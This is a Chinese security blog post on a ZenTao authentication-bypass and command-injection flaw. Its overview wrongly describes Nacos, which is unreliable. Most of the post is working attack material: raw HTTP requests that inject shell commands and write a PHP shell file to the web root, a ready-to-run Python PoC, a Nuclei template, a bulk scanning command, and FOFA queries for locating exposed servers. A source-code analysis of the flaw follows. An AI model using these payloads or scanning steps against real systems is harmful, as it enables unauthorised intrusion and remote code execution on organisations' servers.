原创 Me5 戟星安全实验室
戟星安全实验室
本文约4373字,阅读约需11分钟。
概述
Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
漏洞复现
1.获取内存合法用户
GET /zentao/misc-captcha-user.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
Connection: close
POST /zentao/repo-edit-10000-10000.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.143/zentao/
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
SCM=Subversion&client=echo aaaaaaaaaaaaa > shell.php --
修改了一下,上传到根目录
POST /zentao/repo-edit-10000-10000.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.143/zentao/
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
SCM=Subversion&client=echo aaaaaaaaaaaaadd > ../../www/shelldddd2.php
一键poc编写
# -*- coding: UTF-8 -*-
# !/usr/bin/python
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url4 = url + 'repo-edit-10000-10000.html'
url5 = url + 'index1.txt'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=echo 11yygd22 > ../../www/index1.txt'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
req5 = s.get(url5,proxies=proxies,timeout=5,verify=False,headers=headers2)
if 'yygd' in req5.text:
print(url,"")
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://192.168.80.135:81/zentao/"))
Nuclei-poc编写
id: zantaoRCE01
info:
name: zantaoRCE01
author: Trevain
tags: cve,cve2023,
requests:
- raw:
- |
GET /zentao/misc-captcha-user.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f38; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
- |
POST /zentao/repo-edit-10000-10000.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.143/zentao/
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f38; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
Connection: close
Content-Type: application/x-www-form-urlencoded
SCM=Subversion&client=echo aaghttaa > ../../www/nuceiText.txt
- |
GET /zentao/nuceiText.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'aaghttaa'
-bs 线程数
nuclei -l ip.txt -t zantaoRCE01.yaml -bs 100 -o results.txt
fofa语法
app="易软天创-禅道系统" && country="CN" && is_domain=true
app="易软天创-禅道系统" && country="CN" && is_domain=true && port="80"
漏洞原理分析
禅道项目管理系统的鉴权模块存在逻辑设计缺陷,可以允许攻击者利用无须授权的模块去内存中“伪造”一个合法用户,然后利用该用户访问需要授权的模块。从而调用危险的路由,导致命令执行。
从 www/index.php 中可以分析得知,禅道在对请求参数进行初始化结束后,对即将访问的路由模块进行了检查,接着调用Common模块的checkPriv方法对请求权限进行判断。然后调用对应模块的方法执行,输出结果。代码片段如下
$app->parseRequest(); // 请求参数初始化
if(!$app->setParams()) return; // 对控制器模块进行安全检查,判断方法,类文件是否存在等
$common->checkPriv(); // 权限检查
$common->checkIframe();
$app->loadModule(); // 路由调用
找到checkPriv函数的地址。
if(isset($this->app->user))
{
$this->app->user = $this->session->user;
if(!commonModel::hasPriv($module, $method))
{
if($module == 'story' and !empty($this->app->params['storyType']) and strpos(",story,requirement,", ",{$this->app->params['storyType']},") !== false) $module = $this->app->params['storyType'];
$this->deny($module, $method);
}
}
else
{
...
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
catch(EndResponseException $endResponseException)
{
echo $endResponseException->getContent();
}
$this->deny()--->helper::end();
framework/helper.class.php:
public static function end($content = '')
{
throw EndResponseException::create($content);
}
接着我们将目光回到checkPriv函数。看最终的catch语句捕获的就是EndResponseException异常。也就是说,如果我们有机会控制逻辑判断的代码走到if语句块,那么就算没有权限。整个checkPriv函数也将会自己抛异常,自己处理。完全不影响后续执行控制器中的方法 ! 这就可以权限绕过的地方。
我们回到checkPriv函数中,可以看到如果要满足条件进入if语句块,我们需要保证$this->app->user不为空。因此全局搜索$this->app->user =, 结果如下所示:
setUser()这个方法里面有对这个赋值。
但是找不到可以引用这个函数的。。。
直接搜索$this->session->user =是没结果的。搜索$this->session->set(可以得到如下的结果:
得到了misc模块的captcha方法:
public function captcha($sessionVar = 'captcha', $uuid = '')
{
$obLevel = ob_get_level();
for($i = 0; $i < $obLevel; $i++) ob_end_clean();
header('Content-Type: image/jpeg');
$captcha = $this->app->loadClass('captcha');
$this->session->set($sessionVar, $captcha->getPhrase());
$captcha->build()->output();
}
$sessionVar的值我们可控。该功能为输出验证码的功能。因此默认一定是不需要权限的。
接着我们会有两个疑惑:
1. 此处设置过的session,下次请求还在么?
2. 该session什么时候赋值给$this->app->user
首先回答第一个问题,这里的session禅道的实现是在super这个全局超级对象类中实现的,实现的原理利用了PHP的SESSION机制。只要两次请求的PHPSESSID一致,那么获取到的session就是一致的。
第二个问题,发现commonModel在实例化的时候将会调用setUser方法,在这个方法中将session中保存的值放到全局的app对象中,代码片段如下:
public function setUser()
{
if($this->session->user)
{
if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();
$this->app->user = $this->session->user;
}
// ...
但是还是不是很理解,$this->session->set()怎么到commonModel实例化。
攻击点的寻找
repo模块的edit方法将会调用update方法,接着调用checkConnection方法对仓库是否可连接进行检查,checkConnection中危险操作如下:
public function update($id)
{
...
if(!$this->checkConnection()) return false;
}
public function checkConnection()
{
if(empty($_POST)) return false;
$scm = $this->post->SCM;
$client = $this->post->client;
$account = $this->post->account;
$password = $this->post->password;
$encoding = strtoupper($this->post->encoding);
$path = $this->post->path;
if($encoding != 'UTF8' and $encoding != 'UTF-8') $path = helper::convertEncoding($path, 'utf-8', $encoding);
if($scm == 'Subversion')
{
/* Get svn version. */
$versionCommand = "$client --version --quiet 2>&1";
exec($versionCommand, $versionOutput, $versionResult);
$client参数可以直接拼接进入到exec函数执行。在此,对代码分析后,并未发现需要网络上讲的需要先执行create,因为代码逻辑中并未对仓库是否存在做检查。不知道是我的版本问题,还是其他原因。暂且未深究。
往期回顾
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 || 点击下方名片 关注我们 #